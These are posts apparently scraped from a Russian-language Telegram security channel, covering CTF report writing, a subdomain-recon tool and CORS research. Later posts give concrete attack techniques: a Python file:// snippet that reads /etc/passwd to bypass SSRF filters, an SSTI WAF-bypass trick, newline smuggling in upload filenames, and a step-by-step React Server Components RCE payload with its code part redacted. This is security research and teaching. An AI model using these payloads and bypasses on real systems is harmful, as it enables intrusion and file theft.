whatis @hackthishit
Меня бесит мерцающий курсор, но больше всего меня бесят статьи и отчеты формата
Это неидеальный, и порой даже грубый, канал про offense / defense / dev веба, инфры и головы. Здесь будут повторяться недочеты, нестабильные скрипты, объяснения базы, шутки и явные screwups.
Хочу передавать знания, нежели показывать "step-by-step гайд по взлому тостера".хотя, взлом тостера звучит как неплохая статья
Маппинг хэштегов:
#guide = гайды
#tricks = техники
#invite = приглашаю тебя к соучастию в Х
#recon = разведка
#bypass = обходы СЗИ (WAF, AV, etc.)
#web = веб-приложения
#client_side
#server_side
#infra = инфраструктура
#mobile = мобилки, включая #android и #ios
#machineops = оптимизация работы за компом
#lifeops = как я упрощаю / усложняю себе жизнь
#aiops = как пользуюсь ИИ
#mindops = мысли и перестройка мыслительных процессов
#ctf = про захват флага на проде
#tool = занимательные инструменты (мои и чужие)
#ai = контент про ИИ
#teach = как обучать других
#me = инфа обо мне (привет осинтер)
Меня бесит мерцающий курсор, но больше всего меня бесят статьи и отчеты формата
я впервые вижу это, но знаю точно, что если отправить 0xYAA на предпоследний порт, то получу шелл
Это неидеальный, и порой даже грубый, канал про offense / defense / dev веба, инфры и головы. Здесь будут повторяться недочеты, нестабильные скрипты, объяснения базы, шутки и явные screwups.
Хочу передавать знания, нежели показывать "step-by-step гайд по взлому тостера".
Маппинг хэштегов:
#guide = гайды
#tricks = техники
#invite = приглашаю тебя к соучастию в Х
#recon = разведка
#bypass = обходы СЗИ (WAF, AV, etc.)
#web = веб-приложения
#client_side
#server_side
#infra = инфраструктура
#mobile = мобилки, включая #android и #ios
#machineops = оптимизация работы за компом
#lifeops = как я упрощаю / усложняю себе жизнь
#aiops = как пользуюсь ИИ
#mindops = мысли и перестройка мыслительных процессов
#ctf = про захват флага на проде
#tool = занимательные инструменты (мои и чужие)
#ai = контент про ИИ
#teach = как обучать других
#me = инфа обо мне (привет осинтер)
вольтаж
КАК УЧИТЬСЯ С CTF Уже как пару недель подряд участвую в CTF соревнованиях по выходным, но лишь во время CTF кубка россии, в полночь, решил поискать "как же всё же играть в стф и чему-то учиться". Нашёл видео от LiveOverflow, рассказывающего методологию…
ПРИМЕР ОТЧЁТА ПО РЕШЕНИЮ CTF
Ранее в канале, расписывал "как учиться с CTF", пересказывая ролик LiveOverflow, суть которого можно свести к "пиши отчёт по ходу решения". Вышло так, что все праздники решал CTF'ки для ШКИБ. Решил 4 задачи (1, 2, 5, 7) из 7. К каждой задаче писал отчёт по ходу решение, одним из которых хочу поделиться.
Отчёт по 7 задаче, суть которой в вызове Reflected XSS. Рекомендую сначала попробовать самостоятельно потыкать. Писал отчёт в Obsidian.
Зачем делюсь?
Чтобы ты мог использовать отчёт в качестве шаблона для своих отчётов или чтобы вдохновился наконец начать описывать ход решения задачки. Самое главное - пиши для себя.
Твои отчёты являются твоим потоком мыслей и должны помогать тебе. Их необязательно разъяснять кому-то. Главное, чтобы ты сам понял, что написал вчера. Этот отчёт изначально писался без мысли, что его будет читать кто-то ещё.
#ctf #guide #web #client_side
Ранее в канале, расписывал "как учиться с CTF", пересказывая ролик LiveOverflow, суть которого можно свести к "пиши отчёт по ходу решения". Вышло так, что все праздники решал CTF'ки для ШКИБ. Решил 4 задачи (1, 2, 5, 7) из 7. К каждой задаче писал отчёт по ходу решение, одним из которых хочу поделиться.
Отчёт по 7 задаче, суть которой в вызове Reflected XSS. Рекомендую сначала попробовать самостоятельно потыкать. Писал отчёт в Obsidian.
Зачем делюсь?
Чтобы ты мог использовать отчёт в качестве шаблона для своих отчётов или чтобы вдохновился наконец начать описывать ход решения задачки. Самое главное - пиши для себя.
Твои отчёты являются твоим потоком мыслей и должны помогать тебе. Их необязательно разъяснять кому-то. Главное, чтобы ты сам понял, что написал вчера. Этот отчёт изначально писался без мысли, что его будет читать кто-то ещё.
#ctf #guide #web #client_side
Написал (yet another) инструмент для сбора поддоменов из поисковых систем. Пока парсятся только Google и несколько страниц Yandex (до появления капчи).
Цель инструмента - найти несколько поддоменов, которые не нашли другие инструменты, нежели найти всевозможные поддомены.
Среди результатов бывают false positive + сами результаты могут меняться от запуска к запуску. Рекомендую запускать 2-3 раза на 1 таргет.
В текущем состоянии, инструмент умеет:
- скрывать startup баннер
- конвертировать вывод JSON
- показывать страницу помощи
Буду рад послушать твой фидбек, предложения по улучшению, идеи по обходу капчи или проклинание неразборчивого кода.
#tool #recon #web
Цель инструмента - найти несколько поддоменов, которые не нашли другие инструменты, нежели найти всевозможные поддомены.
Среди результатов бывают false positive + сами результаты могут меняться от запуска к запуску. Рекомендую запускать 2-3 раза на 1 таргет.
В текущем состоянии, инструмент умеет:
- скрывать startup баннер
- конвертировать вывод JSON
- показывать страницу помощи
Буду рад послушать твой фидбек, предложения по улучшению, идеи по обходу капчи или проклинание неразборчивого кода.
#tool #recon #web
GitHub
GitHub - w0ltage/subchase: Chase subdomains by parsing the results of Google and Yandex search results
Chase subdomains by parsing the results of Google and Yandex search results - w0ltage/subchase
👍6❤1
Forwarded from HaHacking
Собрала 150 статей 2023 года выпуска, которые оставили наиболее яркий след в моей памяти; Благо спектр любопытных для меня тем довольно широкий, так что каждый сможет найти на созданной мною карте уголок, соответствующий его интересам и уровню погружения
⬆️ Организовала для них небольшой город, распределила по категориям и кратко описала каждую статью в карточках внутри зданий‼️
Читайте, вдоволь наевшись салатов, тепло вспоминайте уходящий год и радушно встречайте следующий. С Новым годом!
@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥6⚡2
На новогодних праздниках, вместо поедания мандаринов, решил совместно с SidneyJob, провести исследование поведений браузеров при мисконфигурации CORS.
Разобрали как работает SOP и CORS, посмотрели возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов, и даже вспомнили, как работают регулярки.
Мы даже сделали для этого отдельную лабу! В ней ты сможешь создавать свои PoC'и при мисконфигурация CORS'a и сразу же кидать на них ссылки уже в отчёте.
Всё получившееся собрали вместе и выпустили как нашу первую статью на xakep.ru. Приятного чтения!
https://xakep.ru/2024/01/18/cors-cheatsheet/
#web #client_side #research
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥8👍4
https://0xdf.gitlab.io/cheatsheets/404
Помимо скриншотов, приведены примеры кода, триггерящие ошибку
#web #server_side #tricks
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18❤🔥3
💅6❤🔥2
file://localhost/etc/passwd что вернёт?
В RFC 8089, верный формат протокола описан как
file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>Причём, в
<host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS. питон пок
from urllib.request import urlopen
content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')
print(content)
Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.
В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.
Представим, ты нашёл SSTI, но WAF блокирует символ$
Что делать?
Неприятно, но не критично, ведь в Python / Perl возможно представить символ через
\N{CHARACTER NAME}. Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49Уже на стену лезешь? Погоди, я с тобой ещё не закончил.
Давай дальше по загрузке файлов. Видел же в
Content-Disposition есть параметр filename?В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты
# RFC 6266
filename="image.png"
# RFC 8187
filename*=UTF8''image%0a.png
RFC 8187 вводит новые правила для
filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через % То есть, ты можешь закодировать перенос строки (
%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется. . . .
FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^]
⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]
⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]
Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]
2. иной подход к протоколу file:// [^]
3. проломparse_urlв PHP [^]
#web #bypass #server_side #guide
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
32 24 8
Forwarded from HaHacking
CVE-2025-55182 / CVE-2025-66478)?Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения
vm#runInThisContext, child_process#exec, fs#writeFile и им подобных;⚡️ UPD:
Уже доступен оригинальный PoC, использованный для репорта уязвимости вендору!
Сервер и клиент обмениваются чанками, передавая их через
form-data — причём чанки могут содержать ссылки друг на друга. До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;С помощью нагрузки вроде"$1:__proto__:constructor:constructor"можно получить[Function: Function]— глобальный конструктор;
Если чанк имеет поле
then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject);Соответственно, можем сформировать специальный объект, гдеthenуказывал бы наFunction
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}getChunck берёт чанк с ID=0 как корневой для разбора ссылок;$@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта;.status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка; $B происходит вызов response._formData.get(response._prefix + obj);._formData — указываем на конструктор Function, а в ._prefix — на произвольный код;response._formData.get(response._prefix + "0") превратится в Function("█████████") getActionModIdOrError; В запросе должен быть заголовок Next-Actioncrafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"███████████████████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}Разбирая полезную нагрузку по пунктам:
▪️ "then": "$1:__proto__:then"➡️ чтобы чанкID=0переписал собственный.then();▪️ "status": "resolved_model"➡️ чтобыChunk.prototype.thenперешёл к выполнениюinitializeModelChunk;▪️ "reason": -1➡️ чтобы не упасть на моментеtoStringвinitializeModelChunk;▪️ "value": '{"then": "$B0"}'➡️ чтобы после второго прохода десериализации превратить в thenable и добраться доresponse._formData.get(response._prefix + obj);▪️ "_prefix"➡️ здесь произвольный код для выполнения;▪️ "_formData"➡️ здесь указываем на конструктор;
CVE-2025-55182Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1
Починили тут: facebook/react/commit/7dc9...8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
CVE-2025-66478Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях
Починили тут: vercel/next.js/commit/6ef90...07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478
@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
events
* китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты* добрые (* Vercel вышли на h1 с программой по обходам их WAF. платят 50к$ за обход react2shell. уже получили репортов на 750к$facts
* легче обновиться, чем защищаться waf'ом* все сдают react2shell в бб и надеются на деньги* багхантеры написали браузерное расширение на детект* nuclei добавили смешные правила на детект (кто пропустит сложение чисел в powershell?)
vuln
* в эксплойтие, для массовых детектов, в _prefix используют js функции вместо child_process (
curl не всегда есть в контейнере, но fetch() всегда есть в node runtime)* react2shell не оставляет следов на диске, от чего все жалуются на сложность детекта* уязвим не только next.js, но и прочее во влиянии react rsc: react router, vite rsc, parcel rsc, waku, redwood sdkслушай, вОЛьТаЖ, а что почитать? не хочу вникать в килотонны текста
Включай этот absolute cinema. Это будут лучшие 40 минут за день.
https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ
Автор содрал кожу с реакта, расставил в нём брейкпоинтов и прошёлся по всему пути эксплоита, объясняя логику внутренностей реакта на важных чекпоинтах (их больше 20)
Если останутся силы, затем нырни в килотонну текста от CEO Vercel. После видео - it's starting to make sense
https://x.com/rauchg/status/1997362942929440937
#CVE_2025_55182 #web
Please open Telegram to view this post
VIEW IN TELEGRAM